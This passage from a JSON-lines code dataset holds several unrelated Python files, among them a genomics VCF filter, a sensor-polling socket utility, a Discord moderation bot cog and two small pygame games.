app.run(main)\n","sub_path":"motion_imitation/examples/whole_body_controller_robot_example.py","file_name":"whole_body_controller_robot_example.py","file_ext":"py","file_size_in_byte":5066,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"130285943","text":"# encoding=utf-8\n'''\nCreated on Dec 3, 2015\n\n@author: lowitty\n'''\nfrom logging.handlers import RotatingFileHandler\nimport logging, os\nfrom com.ericsson.xn.common.PyProperties import Properties\n\nlogmain = logging.getLogger('selenium')\nrootPath = os.path.dirname(os.path.abspath(__file__))\nlogConf = Properties(rootPath + os.path.sep + 'conf' + os.path.sep + 'logs.conf')\nlogPath = os.path.normpath(rootPath + os.path.sep + 'logs')\nif not os.path.isdir(logPath):\n os.makedirs(logPath)\nlogFile = os.path.normpath(logPath + os.path.sep + logConf.getProperty('logFileName').strip())\nlogLevel = int(logConf.getProperty('logLevel'))\nlogFormatter = logging.Formatter('%(asctime)s [%(levelname)s] %(module)s %(funcName)s(%(lineno)d) %(message)s')\nlogFileHandler = RotatingFileHandler(logFile, mode='a', maxBytes=1024 * 1024 * int(logConf.getProperty('logMaxSize')),\n backupCount=10, encoding='utf-8', delay=0)\nlogFileHandler.setFormatter(logFormatter)\nlogFileHandler.setLevel(logLevel)\n\nlogmain.setLevel(20)\nlogmain.addHandler(logFileHandler)\nif 'YES' == str(logConf.getProperty('consoleLog')).upper():\n logConsoleHandler = logging.StreamHandler()\n logConsoleHandler.setFormatter(logFormatter)\n logConsoleHandler.setLevel(10)\n logmain.addHandler(logConsoleHandler)\nlogmain.info('##########################################################################')\nlogmain.info('#### ####')\nlogmain.info('#### Started, logger initialized. ####')\nlogmain.info('#### ####')\nlogmain.info('##########################################################################')\n\nfrom com.ericsson.xn.x.fm import fm_ack\n\nif __name__ == '__main__':\n fm_ack.alarm_ack(rootPath)\n i = 1\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1872,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"96455829","text":"import glob\nimport numpy as np\nimport imageio\n\ndef avg_clr_process(path_to_pics_folder):\n all_pics_clrs = np.array([]).reshape(0, 3)\n for image_path in glob.glob(path_to_pics_folder + \"*.jpg\"):\n img = imageio.imread(image_path)\n all_pics_clrs = np.concatenate((all_pics_clrs, [get_avg_clr(img)]), axis = 0)\n for image_path in glob.glob(path_to_pics_folder + \"*.png\"):\n img = imageio.imread(image_path)\n all_pics_clrs = np.concatenate((all_pics_clrs, [get_avg_clr(img)]), axis = 0)\n mean = np.mean(all_pics_clrs, axis = 0)\n return {\"avg_color\" : (\"#\" + ( (\"00\" + (hex(int(mean[0])))[2:])[-2:] + (\"00\" + (hex(int(mean[1]))[2:]))[-2:] + (\"00\" + (hex(int(mean[2]))[2:]))[-2:]).upper())}\n\ndef get_avg_clr(pic_np):\n return np.mean(np.mean(pic_np, axis = 1), axis = 0)","sub_path":"backend/avg_clr.py","file_name":"avg_clr.py","file_ext":"py","file_size_in_byte":807,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"332076601","text":"###################################################################\n# File Name: filter_SV_vcf.py\n# Author: yaomingyue\n# mail: yaomingyue@fuanhua.com\n# Created Time: 2017年09月14日 星期四 15时58分10秒\n#=============================================================\n'''The script was used to filter the vcf generated by Delly!'''\n#!/usr/bin/env python\n#-*- coding:utf8 -*-\nimport argparse\nimport re\n\ndef filter_sv_vcf(input_vcf,output_vcf,mapq,sr,pe):\n\tfor line in input_vcf:\n\t\tif line.startswith(\"#\"):\n\t\t\toutput_vcf.write(line)\n\t\telse:\n\t\t\ttmps=line.strip().split()\n\t\t\tif tmps[6]!=\"PASS\":continue\n\t\t\tMAPQ=re.search(\"MAPQ=(\\d+)\",tmps[7])\n\t\t\tif MAPQ:\n\t\t\t\tif int(MAPQ.group(1))>=mapq:\n\t\t\t\t\tif tmps[7].find(\"IMPRECISE\")!=-1:\n\t\t\t\t\t\tPE=re.search(\"PE=(\\d+)\",tmps[7])\n\t\t\t\t\t\tif PE:\n\t\t\t\t\t\t\tif int(PE.group(1))>=pe:\n\t\t\t\t\t\t\t\toutput_vcf.write(line)\n\t\t\t\t\t\telse:\n\t\t\t\t\t\t\tprint(\"No PE in\"+line,end=\"\")\n\t\t\t\t\t\t\texit(1)\n\t\t\t\t\telse:\n\t\t\t\t\t\tSR=re.search(\"SR=(\\d+)\",tmps[7])\n\t\t\t\t\t\tif SR:\n\t\t\t\t\t\t\tif int(SR.group(1))>=pe:\n\t\t\t\t\t\t\t\toutput_vcf.write(line)\n\t\t\t\t\t\t\telse:\n\t\t\t\t\t\t\t\tprint(\"No SR in\"+line,end=\"\")\n\t\t\t\t\t\t\texit(1)\n\ndef main():\n\tparser=argparse.ArgumentParser(description=__doc__)\n\tparser.add_argument('-i','--input',help='the vcf which generated by Delly',dest='vcf',required=True,type=open)\n\tparser.add_argument('-o','--output',help='the filtered vcf',dest='output',required=True,type=argparse.FileType('w'))\n\tparser.add_argument('-q','--mapq',help=\"the SV value for filter\",dest='mapq',default=20,type=int)\n\tparser.add_argument('-pe',help=\"the num of support PE which was used for IMPRECISE\",dest='pe',default=4,type=int)\n\tparser.add_argument('-sr',help=\"the num of Split Read which was used for PRECISE\",dest='sr',default=4,type=int)\n\targs=parser.parse_args()\n\tfilter_sv_vcf(args.vcf,args.output,args.mapq,args.sr,args.pe)\nif __name__==\"__main__\":\n\tmain()\n","sub_path":"WGS/bin/filter_SV_vcf.py","file_name":"filter_SV_vcf.py","file_ext":"py","file_size_in_byte":1844,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"432678434","text":"import socket\nimport time\nimport json\nimport random\nfrom .. import db\nfrom ..models import SeismModel, SensorModel\n\n\ndef create_socket():\n try:\n s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)\n s.settimeout(2)\n return s\n except socket.error:\n print(\"Failed to create socket\")\n return None\n\n\n# Checkea el estado del sensor\ndef check_sensor(id):\n sensor = db.session.query(SensorModel).get_or_404(id)\n s = create_socket()\n if s:\n s.sendto(b\" \", (sensor.ip, sensor.port))\n try:\n d = s.recvfrom(1024)[0]\n sensor.status = True\n db.session.add(sensor)\n db.session.commit()\n print(\"Sensor activated\")\n except socket.timeout:\n print(\"Sensor\" + sensor.name + \"is not responding.\")\n\n\n# Llamar a sensores\n\ndef call_sensors(app):\n with app.app_context():\n s = create_socket()\n while s:\n sensors = (\n db.session.query(SensorModel).filter(SensorModel.active == True).filter(\n SensorModel.status == True).all()\n )\n\n for sensor in sensors:\n print(sensor.port, sensor.ip)\n s.sendto(b\" \", (sensor.ip, sensor.port))\n try:\n d = s.recvfrom(1024)[0]\n print(d)\n seism = SeismModel.from_json_seism(json.loads(d))\n seism.sensorId = sensor.id\n seism.verified = random.choice([True, False])\n db.session.add(seism)\n db.session.commit()\n except socket.timeout:\n sensor.status = False\n db.session.add(sensor)\n db.session.commit()\n print(\"Sensor \" + sensor.name + \" is not responding.\")\n time.sleep(2)\n","sub_path":"api/main/utilities/sensor_sockets.py","file_name":"sensor_sockets.py","file_ext":"py","file_size_in_byte":1877,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"606255092","text":"from flask import Flask, request, jsonify\n\nfrom bot.algo import *\nfrom bot.db import *\nfrom bot.utils.log import make_logger\n\nfrom collections import Counter\n\napp = Flask(__name__)\n\n\n@app.route('/')\ndef index():\n return 'Hello, world'\n\n\n@app.route('/games', methods=['POST'])\ndef new_game_handler():\n id = request.json[\"id\"]\n board = request.json[\"board\"]\n\n logger = make_logger(app.logger, id)\n #logger.info('New game handler')\n newGame = Game(board)\n logger.info('ALL: %s', len(newGame.cells))\n cnt = Counter()\n for _,c in newGame.cells.items():\n cnt[c.count]+=1\n items = cnt.items() \n logger.info('-> %s', sorted(items))\n redis_set(id, newGame)\n return jsonify(status='ok')\n\n\n@app.route('/games/', methods=['GET'])\ndef get_game_handler(id):\n logger = make_logger(app.logger, id)\n #logger.info('[GET] game. Our turn.')\n #logger.info('Color is %s', request.args['color'])\n #logger.info('Calculate turn')\n\n game = redis_get(id)\n answer = best_step(game, int(request.args[\"color\"]))\n redis_set(id, game)\n #logger.info('Our answer %s', answer)\n\n return jsonify(status='ok', figure=answer)\n\n\n@app.route('/games/', methods=['PUT'])\ndef put_handler(id):\n logger = make_logger(app.logger, id)\n\n data = request.json\n\n #logger.info('[PUT] Enemy turn is: figure %s with color %s', data['figure'], data['color'])\n #logger.info('Register enemy step.')\n\n game = redis_get(id)\n register_step(game, data[\"figure\"], data[\"color\"])\n redis_set(id, game)\n return jsonify(status='ok')\n\n\n@app.route('/games/', methods=['DELETE'])\ndef delete_handler(id):\n logger = make_logger(app.logger, id)\n\n #logger.info('[DELETE] End of game')\n\n try:\n #game = redis_get(id)\n #if game.small():\n #logger.info('game, first: %s', game.first)\n #for _,c in game.cells.items():\n #logger.info('%s[%s] -> %s', c.id, c.color, c.neigh )\n #logger.info('our: %s', game.our_steps)\n #logger.info('all: %s', game.steps)\n\n redis_del(id)\n except:\n logger.exception('Error while deliting game from memory.')\n\n return jsonify(status='ok')\n","sub_path":"bot/web.py","file_name":"web.py","file_ext":"py","file_size_in_byte":2221,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"510487955","text":"import discord\nfrom discord.ext import commands\nfrom datetime import datetime\nimport asyncio\nimport asyncpg\nimport re\nimport json\nimport string\nimport random\nfrom utils import *\n\n\nclass Moderation(commands.Cog):\n def __init__(self, bot):\n self.bot = bot\n\n @commands.group(invoke_without_command=True,\n description=\"Enables channel lockdown on the entire server. During lockdown, users can't send messages.\")\n @commands.has_guild_permissions(manage_guild=True)\n @commands.bot_has_guild_permissions(manage_channels=True, manage_roles=True)\n @commands.cooldown(rate=2, per=2, type=commands.BucketType.member)\n async def lockdown(self, ctx):\n conn = await connect()\n row = await conn.fetchrow(\"SELECT lockdown_channel_id, lockdown_status FROM guild WHERE guild_id = $1\", ctx.guild.id)\n await conn.close()\n\n # info about the lockdown, such as lockdown channel id and lockdown status\n info = list(row.values())\n lockdown = info[1]\n id = info[0] if row is not None else None\n lockdown_indicator = None\n\n if id is None:\n embed = discord.Embed(description=\"There is no lockdown channel set up. You can set it up using `.lockdown set`.\",\n colour=self.bot.green)\n await ctx.send(embed=embed)\n else:\n lockdown_indicator = self.bot.get_channel(id)\n\n if not lockdown:\n permissions = ctx.guild.default_role.permissions\n permissions.send_messages=False\n await ctx.guild.default_role.edit(reason=\"Lockdown initiated.\",\n permissions=permissions)\n if id is not None:\n await lockdown_indicator.set_permissions(ctx.guild.default_role,\n reason=\"Lockdown indicator updated.\",\n read_messages=True, read_message_history=True)\n\n # turns lockdown on in the database\n conn = await connect()\n await conn.execute(\"UPDATE guild SET lockdown_status = True WHERE guild_id = $1\", ctx.guild.id)\n await conn.close()\n\n embed = discord.Embed(description=\"Lockdown initiated.\", colour=self.bot.green)\n\n await ctx.send(embed=embed)\n elif lockdown:\n permissions = ctx.guild.default_role.permissions\n permissions.send_messages = True\n await ctx.guild.default_role.edit(reason=\"Lockdown deactivated.\",\n permissions=permissions)\n if id is not None:\n await lockdown_indicator.set_permissions(ctx.guild.default_role,\n reason=\"Lockdown indicator updated.\",\n read_messages=False, read_message_history=False)\n\n # turns lockdown off in the database\n conn = await connect()\n await conn.execute(\"UPDATE guild SET lockdown_status = False WHERE guild_id = $1\", ctx.guild.id)\n await conn.close()\n\n embed = discord.Embed(description=\"Lockdown deactivated.\", colour=self.bot.green)\n\n await ctx.send(embed=embed)\n\n @lockdown.command(description=\"Sets the lockdown channel.\\nThe lockdown channel is is the channel users see (only) during\"\n \"lockdown and it's optional.\")\n @commands.has_guild_permissions(manage_guild=True)\n @commands.cooldown(rate=2, per=2, type=commands.BucketType.member)\n async def set(self, ctx, channel: discord.TextChannel = None):\n channel = channel if channel is not None else ctx.channel\n conn = await connect()\n row = await conn.fetchrow(f\"SELECT lockdown_channel_id FROM guild WHERE guild_id = {ctx.guild.id}\")\n id = next(row.values()) if row is not None else None\n if id is None:\n await conn.execute(\"INSERT INTO guild(guild_id, lockdown_channel_id, lockdown_status) VALUES($1, $2, $3)\",\n ctx.guild.id, channel.id, False)\n await conn.close()\n embed = discord.Embed(description=f\"Set the lockdown channel to {channel.mention}.\", colour=self.bot.green)\n await ctx.send(embed=embed)\n else:\n await conn.execute(\"UPDATE guild SET lockdown_channel_id = $1 WHERE guild_id = $2\", channel.id, ctx.guild.id)\n await conn.close()\n embed = discord.Embed(description=f\"Changed the lockdown channel to {channel.mention}.\", colour=self.bot.green)\n\n await ctx.send(embed=embed)\n\n @set.error\n @lockdown.error\n async def lockdown_error(self, ctx, error):\n error = getattr(error, \"original\", error)\n if isinstance(error, AttributeError):\n embed = discord.Embed(title=\"Channel not found\",\n description=\"The lockdown channel got deleted.\",\n colour=self.bot.green)\n await ctx.send(embed=embed)\n\n\n @commands.command(description=\"Kick a member from the server.\")\n @commands.has_guild_permissions(kick_members=True)\n @commands.bot_has_guild_permissions(kick_members=True)\n @commands.cooldown(rate=2, per=3, type=commands.BucketType.member)\n async def kick(self, ctx, member: Member, *, reason=\"\"):\n if member == ctx.author or member.top_role.position >= ctx.guild.me.top_role.position or member.guild_permissions.administrator == True:\n raise commands.MissingPermissions([\"Kick Members\"])\n await member.send(f\"**You got kicked from {ctx.guild.name}.**\\n{reason}\")\n await ctx.guild.kick(member, reason=reason)\n embed = discord.Embed(description=f\"**{member.mention} was kicked.**\\n{reason}\",\n colour=self.bot.green)\n await ctx.send(embed=embed)\n\n\n @commands.command(description=\"Ban a member from the server.\")\n @commands.has_guild_permissions(ban_members=True)\n @commands.bot_has_guild_permissions(ban_members=True)\n @commands.cooldown(rate=2, per=3, type=commands.BucketType.member)\n async def ban(self, ctx, member: Member, *, reason=\"\"):\n if member == ctx.author or member.top_role.position >= ctx.guild.me.top_role.position or member.guild_permissions.administrator == True:\n raise commands.MissingPermissions([\"Ban Members\"])\n dm = discord.Embed(description=f\"**You got banned from {ctx.guild.name}.**\\n{reason}\",\n colour=self.bot.green)\n await member.send(embed=dm)\n await ctx.guild.ban(member, reason=reason)\n embed = discord.Embed(description=f\"**{member.mention} was banned.**\\n{reason}\",\n colour=self.bot.green)\n await ctx.send(embed=embed)\n\n\n @commands.command(description=\"Unban a member from the server.\")\n @commands.has_guild_permissions(ban_members=True)\n @commands.bot_has_guild_permissions(ban_members=True)\n @commands.cooldown(rate=2, per=3, type=commands.BucketType.member)\n async def unban(self, ctx, member: User, *, reason=\"\"):\n await ctx.guild.unban(member, reason=reason)\n embed = discord.Embed(description=f\"**{member} was unbanned.**\\n{reason}\",\n colour=self.bot.green)\n await ctx.send(embed=embed)\n\n\n @commands.command(description=\"Clears the specified amount of messages in the current text channel.\",\n aliases=[\"purge\"])\n @commands.has_guild_permissions(manage_messages=True)\n @commands.bot_has_guild_permissions(manage_messages=True)\n @commands.cooldown(rate=1, per=2, type=commands.BucketType.member)\n async def clear(self, ctx, amount: int):\n await ctx.channel.purge(limit=amount+1, bulk=True)\n\n @clear.error\n async def clear_error(self, ctx, error):\n error = getattr(error, \"original\", error)\n if isinstance(error, commands.BadArgument):\n embed = discord.Embed(title=\"Bad argument\", description=\"The amount you entered is invalid.\",\n color=self.bot.green)\n await ctx.send(embed=embed)\n\n\n @commands.command(description=\"Mute a member from text and voice channels in the server.\")\n @commands.has_guild_permissions(manage_roles=True)\n @commands.bot_has_guild_permissions(manage_roles=True)\n @commands.cooldown(rate=1, per=3, type=commands.BucketType.member)\n async def mute(self, ctx, member: Member, time: TimeConverter, *, reason=\"\"):\n if member == ctx.author or member.top_role.position >= ctx.guild.me.top_role.position or member.guild_permissions.administrator == True:\n raise commands.MissingPermissions([\"Manage Roles\"])\n\n if time > 59:\n amount = str(round(time / 60, 1))\n if amount.endswith('.0'):\n amount = amount[:-2]\n if amount == '1':\n amount = f\"{amount} minute\"\n else:\n amount = f\"{amount} minutes\"\n if time > 3599:\n amount = str(round(time / 3600, 1))\n if amount.endswith('.0'):\n amount = amount[:-2]\n if amount == '1':\n amount = f\"{amount} hour\"\n else:\n amount = f\"{amount} hours\"\n if time > 86399:\n amount = str(round(time / 86400, 1))\n if amount.endswith('.0'):\n amount = amount[:-2]\n if amount == '1':\n amount = f\"{amount} day\"\n else:\n amount = f\"{amount} days\"\n if time < 60:\n if time == 1:\n amount = f\"{time} second\"\n else:\n amount = f\"{time} seconds\"\n\n try:\n muted_role_id = self.bot.muted_role[ctx.guild.id]\n muted_role = ctx.guild.get_role(muted_role_id)\n if muted_role:\n pass\n else:\n raise KeyError\n except KeyError:\n muted_role = [role for role in ctx.guild.roles if \"muted\" in role.name.lower()]\n muted_role = muted_role[0] if muted_role else None\n if muted_role:\n conn = await connect()\n\n # sql command below is in testing, the commented out one is bad\n # await conn.execute(\n # \"INSERT INTO guild (muted_role_id) SELECT $1 WHERE NOT EXISTS (SELECT 1 FROM guild WHERE muted_role_id = $2)\",\n # muted_role.id, muted_role.id)\n await conn.execute(\"UPDATE guild SET muted_role_id = $1 WHERE guild_id = $2\", muted_role.id, ctx.guild.id)\n await conn.close()\n self.bot.muted_role[ctx.guild.id] = muted_role.id\n else:\n default_role = ctx.guild.default_role\n permissions = default_role.permissions\n permissions.send_messages = False\n permissions.connect = False\n muted_role = await ctx.guild.create_role(name=\"Muted\", permissions=permissions, reason=\"Muted role created.\")\n\n conn = await connect()\n\n # sql command below is in testing, the commented out one is bad\n # await conn.execute(\n # \"INSERT INTO guild (muted_role_id) SELECT $1 WHERE NOT EXISTS (SELECT 1 FROM guild WHERE guild_id = $2 AND muted_role_id = $3)\",\n # muted_role.id, ctx.guild.id, muted_role.id)\n await conn.execute(\"UPDATE guild SET muted_role_id = $1 WHERE guild_id = $2\", muted_role.id, ctx.guild.id)\n await conn.close()\n self.bot.muted_role[ctx.guild.id] = muted_role.id\n\n for category in ctx.guild.categories:\n await category.set_permissions(muted_role, send_messages=False, add_reactions=False)\n for voice in ctx.guild.voice_channels:\n await voice.set_permissions(muted_role, connect=False)\n\n\n\n if muted_role in member.roles:\n embed = discord.Embed(title=\"Member is already muted\", description=f\"{member.mention} is already muted.\",\n colour=self.bot.green)\n await ctx.send(embed=embed)\n return\n\n await member.add_roles(muted_role)\n embed = discord.Embed(title=\"Member muted\", description=f\"**{member.mention} was muted for {amount}.**\\n{reason}\",\n colour=self.bot.green)\n\n await ctx.send(embed=embed)\n\n dm = discord.Embed(description=f\"**You got muted in {ctx.guild.name} for {amount}.**\\n{reason}\",\n colour=self.bot.green)\n await member.send(embed=dm)\n await asyncio.sleep(time)\n await member.remove_roles(muted_role, reason=\"Mute expired.\")\n\n @mute.error\n async def mute_error(self, ctx, error):\n error = getattr(error, \"original\", error)\n if isinstance(error, commands.BadArgument):\n embed = discord.Embed(title=\"Invalid time\", description=\"The time format you entered is invalid.\",\n colour=self.bot.green)\n await ctx.send(embed=embed)\n\n\n @commands.command(description=\"Unmute a member from text and voice channels in the server.\")\n @commands.has_guild_permissions(manage_roles=True)\n @commands.bot_has_guild_permissions(manage_roles=True)\n @commands.cooldown(rate=1, per=2, type=commands.BucketType.member)\n async def unmute(self, ctx, member: Member, *, reason = \"\"):\n if member == ctx.author or member.top_role.position >= ctx.guild.me.top_role.position or member.guild_permissions.administrator == True:\n raise commands.MissingPermissions([\"Manage Roles\"])\n muted_roles = [role for role in member.roles if \"muted\" in role.name.lower()]\n if muted_roles:\n for role in muted_roles:\n await member.remove_roles(role)\n embed = discord.Embed(title=\"Member unmuted\", description=f\"**{member.mention} was unmuted.**\\n{reason}\",\n colour=self.bot.green)\n\n await ctx.send(embed=embed)\n else:\n embed = discord.Embed(title=\"Member not muted\", description=f\"{member.mention} is not muted.\",\n colour=self.bot.green)\n await ctx.send(embed=embed)\n\n\n @commands.command(description=\"Gives the user a warning. To see the warnings of a user, use .warns.\")\n @commands.has_guild_permissions(kick_members=True)\n @commands.cooldown(rate=1, per=3, type=commands.BucketType.member)\n async def warn(self, ctx, member: Member, *, reason=\"\"):\n chars = string.ascii_letters + string.digits\n case_id = \"\".join(random.choice(chars) for x in range(15))\n\n now = datetime.now()\n time = now.strftime(\"%H:%M\")\n date = now.strftime(\"%d.%m.%Y\")\n details = {\n \"moderator\": ctx.author.id,\n \"reason\": reason,\n \"case_id\": case_id,\n \"date\": date,\n \"time\": time\n }\n data = json.dumps(details)\n conn = await connect()\n await conn.execute(\"INSERT into warns(details, warned_member_id, guild_id, case_id) VALUES ($1, $2, $3, $4)\",\n data, member.id, ctx.guild.id, case_id)\n await conn.close()\n embed = discord.Embed(title=\"Member warned\", description=f\"**{member.mention} was warned.**\\n{reason}\",\n colour=self.bot.green)\n dm = discord.Embed(description=f\"**You got warned in {ctx.guild.name}.**\\n{reason}\",\n colour=self.bot.green)\n await ctx.send(embed=embed)\n await member.send(embed=dm)\n\n @commands.command(description=\"Delete a warning from a user.\", aliases=[\"warnings\"])\n @commands.has_guild_permissions(kick_members=True)\n @commands.cooldown(rate=2, per=2, type=commands.BucketType.member)\n async def warns(self, ctx, member: Member):\n conn = await connect()\n rows = await conn.fetch(\"SELECT details FROM warns WHERE guild_id = $1 AND warned_member_id = $2\", ctx.guild.id, member.id)\n await conn.close()\n\n warns = [list(row.values())[0] for row in rows]\n\n\n if len(warns) == 0:\n embed = discord.Embed(title=\"No warnings found\", description=f\"No warnings found for {member.mention}.\", colour=self.bot.green)\n await ctx.send(embed=embed)\n return\n elif len(warns) == 1:\n title = f\"One case for {member}\"\n else:\n title = f\"{len(warns)} cases for {member}\"\n\n embed = discord.Embed(title=title, colour=self.bot.green)\n\n for warn in warns:\n warn = json.loads(warn)\n case_id = warn[\"case_id\"]\n moderator_id = warn[\"moderator\"]\n moderator = ctx.guild.get_member(moderator_id)\n reason = warn[\"reason\"]\n time = warn[\"time\"]\n date = warn[\"date\"]\n embed.add_field(name=f\"__{case_id}__\", value=f\"Moderator: {moderator.mention} *({moderator_id})*\\n\"\n f\"Reason: *{reason}*\\n\"\n f\"`{time}` `{date}`\",\n inline=False)\n\n await ctx.send(embed=embed)\n\n\n @commands.command(description=\"Deletes a warning for a member.\")\n @commands.has_guild_permissions(kick_members=True)\n @commands.cooldown(rate=1, per=3, type=commands.BucketType.member)\n async def delwarn(self, ctx, case_id, *, reason=\"\"):\n conn = await connect()\n row = await conn.fetchrow(f\"SELECT warned_member_id, details FROM warns WHERE case_id = $1\", case_id)\n await conn.execute(f\"DELETE FROM warns WHERE case_id = $1\", case_id)\n await conn.close()\n if row is None:\n embed = discord.Embed(title=\"Warning not found\", description=\"That warning doesn't exist.\", colour=self.bot.green)\n await ctx.send(embed=embed)\n return\n member_id = list(row.values())[0]\n details = list(row.values())[1]\n warn = json.loads(details)\n moderator_id = warn[\"moderator\"]\n moderator = ctx.guild.get_member(moderator_id)\n warn_reason = warn[\"reason\"]\n time = warn[\"time\"]\n date = warn[\"date\"]\n member = ctx.guild.get_member(member_id)\n\n embed = discord.Embed(title=\"Warning deleted\", description=f\"**Warning deleted for {member.mention}.**\\n{reason}\",\n colour=self.bot.green)\n embed.add_field(name=\"Warning info\", value=f\"Moderator: {moderator.mention} *({moderator_id})*\\n\"\n f\"Reason: *{warn_reason}*\\n\"\n f\"`{time}` `{date}`\")\n\n dm = discord.Embed(description=f\"**A warning in {ctx.guild.name} got deleted**\\n{reason}\", colour=self.bot.green)\n dm.add_field(name=\"Warning info\", value=f\"Moderator: {moderator.mention} *({moderator_id})*\\n\"\n f\"Reason: *{warn_reason}*\\n\"\n f\"`{time}` `{date}`\")\n\n\n await ctx.send(embed=embed)\n await member.send(embed=dm)\n\n\ndef setup(bot):\n bot.add_cog(Moderation(bot))","sub_path":"cogs/moderation.py","file_name":"moderation.py","file_ext":"py","file_size_in_byte":19268,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"60138153","text":"import pygame\nimport time\npygame.init()\nwidth=800\nheight=600\ngameDisplay=pygame.display.set_mode((width,height))\npygame.display.set_caption('Turtle Maze')\nclock=pygame.time.Clock()\nturtleObj=pygame.image.load('turtle.png')\nwall1=pygame.image.load('wall1.png')\nwall2=pygame.image.load('wall2.png')\nwall3=pygame.image.load('wall3.png')\ngrass=pygame.image.load('grass.png')\nout=False\ndef turtle(x,y):\n gameDisplay.blit(turtleObj,(x,y))\ndef score(sec):\n font=pygame.font.SysFont(None,25)\n text=font.render(\"Time left: \"+str(sec),True,(255,255,255))\n gameDisplay.blit(text,(0,0))\ndef text_objects(text, font):\n textSurface=font.render(text, True, (255,0,0))\n return textSurface, textSurface.get_rect()\ndef message_display(text):\n largeText=pygame.font.Font('freesansbold.ttf',100)\n TextSurf, TextRect=text_objects(text, largeText)\n TextRect.center=((width/2),(height/2))\n gameDisplay.blit(TextSurf, TextRect)\n pygame.display.update()\n time.sleep(3)\n game_loop()\ndef game_loop():\n x=5\n y=5\n x_change=0\n y_change=0\n crashed=False\n global out\n sec=100*30\n while not crashed and not out:\n sec-=1\n for event in pygame.event.get():\n if event.type==pygame.QUIT:\n out=True\n if event.type==pygame.KEYDOWN:\n if event.key==pygame.K_LEFT:\n x_change-=2\n elif event.key==pygame.K_RIGHT:\n x_change+=2\n elif event.key==pygame.K_DOWN:\n y_change+=2\n elif event.key==pygame.K_UP:\n y_change-=2\n if event.type==pygame.KEYUP:\n if event.key==pygame.K_ESCAPE:\n out=True\n if event.key==pygame.K_LEFT:\n x_change=0\n elif event.key==pygame.K_RIGHT:\n x_change=0\n elif event.key==pygame.K_DOWN or event.key==pygame.K_UP:\n y_change=0\n gameDisplay.fill((0,0,0))\n x+=x_change\n y+=y_change\n gameDisplay.blit(wall1,(75,30))\n gameDisplay.blit(wall2,(175,70))\n gameDisplay.blit(wall2,(175,350))\n gameDisplay.blit(wall1,(275,20))\n gameDisplay.blit(wall3,(375,46))\n gameDisplay.blit(wall3,(375,255))\n gameDisplay.blit(wall3,(375,440))\n gameDisplay.blit(wall1,(475,70))\n gameDisplay.blit(wall1,(575,40))\n gameDisplay.blit(wall2,(675,0))\n gameDisplay.blit(wall3,(675,300))\n gameDisplay.blit(wall3,(675,450))\n gameDisplay.blit(grass,(700,0))\n turtle(x,y)\n score(sec/30)\n if sec/30<1:\n message_display(\"Game Over!\")\n crashed=True\n elif x<0 or x>width-50 or y<0 or y>height-50:\n message_display(\"Game Over!\")\n crashed=True\n elif ((x>75-50 and x<100) and y<530):\n message_display(\"Game Over!\")\n crashed=True\n elif ((x>175-50 and x<200) and ((y<295 and y>70-50) or y>350-50)):\n message_display(\"Game Over!\")\n crashed=True\n elif ((x>275-50 and x<300) and y<520):\n message_display(\"Game Over!\")\n crashed=True\n elif ((x>375-50 and x<400) and (y<196 or y>255-50)):\n message_display(\"Game Over!\")\n crashed=True\n elif ((x>475-50 and x<500) and y>70-50):\n message_display(\"Game Over!\")\n crashed=True\n elif ((x>575-50 and x<600) and y<540):\n message_display(\"Game Over!\")\n crashed=True\n elif ((x>675-50 and x<700) and (y<225 or y>300)):\n message_display(\"Game Over!\")\n crashed=True\n elif (x>700 and x<800):\n message_display(\"You Won!\")\n crashed=True\n pygame.display.update()\n clock.tick(35)\ngame_loop()\npygame.quit()\nquit()\n","sub_path":"Turtle Maze.py","file_name":"Turtle Maze.py","file_ext":"py","file_size_in_byte":3892,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"538715415","text":"\"\"\"\r\nJake Martin\r\nBlock 4\r\n9th Grade\r\n \r\n\"\"\"\r\n \r\n#Import libraries of functions\r\nimport pygame\r\nimport random\r\nimport math\r\n\r\n#Initialize the game engine\r\npygame.init()\r\n \r\n#Define some colors\r\nBLACK = (0, 0, 0)\r\nGRAY = (125, 125, 125)\r\nLIGHT_GRAY = (200, 200, 200)\r\nVERY_LIGHT_GRAY = (225, 225, 225)\r\nWHITE = (255, 255, 255)\r\nBLUE = (0, 0, 255)\r\nGREEN = (0, 255, 0)\r\nRED = (255, 0, 0)\r\nYELLOW = (225, 225, 0)\r\nSPECIAL= (33, 66, 133)\r\n \r\nPI = 3.141592653\r\n\r\n#Modes\r\ntitle_screen = True\r\nplaying_mode = False\r\nbattle_scene = False\r\ngame_over = False\r\nyou_won = False\r\n\r\n#Counter\r\ncounter = 0\r\nother_counter = 0\r\n\r\n#Mouse\r\nmouse_down = False\r\n \r\n#Set the height and width of the screen\r\nsize = (1000, 750)\r\nscreen = pygame.display.set_mode(size)\r\n \r\npygame.display.set_caption(\"Total Conquest\")\r\n \r\n#Loop until the user clicks the close button.\r\ndone = False\r\nclock = pygame.time.Clock()\r\n\r\n\r\n#Background >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>\r\nTITLE_COLOR = (225, 25, 25)\r\n\r\nbackground_x = -500\r\nbackground_y = -5\r\nbackground_x_change = 1\r\nbackground_y_change = 1\r\nbackground = pygame.image.load(\"Background.png\").convert()\r\n\r\nbackground_font = pygame.font.SysFont('Timesroman', 200, True, False)\r\nbackground_text_1 = background_font.render(\"Total\", True, TITLE_COLOR)\r\nbackground_text_2 = background_font.render(\"Conquest\", True, TITLE_COLOR)\r\n#End of background <<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<\r\n\r\n\r\n#Game over 